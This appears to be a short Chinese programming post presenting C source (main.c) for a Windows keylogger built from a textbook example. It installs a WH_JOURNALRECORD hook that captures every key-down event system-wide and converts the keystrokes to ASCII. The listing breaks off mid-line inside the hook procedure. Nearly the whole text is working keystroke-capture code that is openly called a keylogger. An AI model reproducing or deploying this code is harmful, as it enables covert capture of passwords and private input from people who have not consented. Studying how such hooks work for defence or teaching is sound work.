C键盘钩子

根据《Windows环境下32位汇编语言程序设计》（罗云彬著）书上的例子，采用SDK实现键盘记录器!
main.c
#include <windows.h>
#include "resource.h"
#define DEBUG 0
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam);
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);
static HWND hWinMain=NULL;
static HHOOK hHook=NULL;
static WORD szAscii=0;
int WINAPI WinMain(__in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
{
DialogBox(hInstance,MAKEINTRESOURCE(DLG_MAIN),NULL,(DLGPROC)ProcDlgMain);
return 0;
}
BOOL CALLBACK ProcDlgMain(HWND hwndDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
#if DEBUG
TCHAR buf[10];
#endif
switch (uMsg)
{
case WM_INITDIALOG:
hWinMain=hwndDlg;
SendMessage(hwndDlg,WM_SETICON,
ICON_BIG,(LPARAM)LoadIcon(GetModuleHandle(0),MAKEINTRESOURCE(IDI_MAIN)));
//装载钩子
hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)HookKeyboardPro,GetModuleHandle(0),NULL);
if(!hHook)
{
EndDialog(hwndDlg,NULL);
}
break;
case WM_CLOSE:
//移除钩子
UnhookWindowsHookEx(hHook);
EndDialog(hwndDlg,NULL);
break;
default:
return FALSE;
}
return TRUE;
}
/************************************************************************/
/* 钩子处理过程 */
/************************************************************************/
LRESULT CALLBACK HookKeyboardPro(int code,WPARAM wParam,LPARAM lParam)
{
BYTE szKeyState[256];
int size;
PEVENTMSG eventMsg;
#if DEBUG
TCHAR buf[10];
#endif
if(HC_ACTION==code)
{
eventMsg=(PEVENTMSG)lParam;
if(WM_KEYDOWN==eventMsg->message)
{
GetKeyboardState(szKeyState);//当前键盘状态填入缓冲区
szKeyState[VK_SHIFT]=0XFF&GetKeyState(VK_SHIFT);//获取低位,特殊填写SHIFT键扫描码
//将虚拟键盘码转换ASCII码
size=ToAscii(eventMsg->paramL,HIWORD(eventMsg->paramH),szKeyState,&a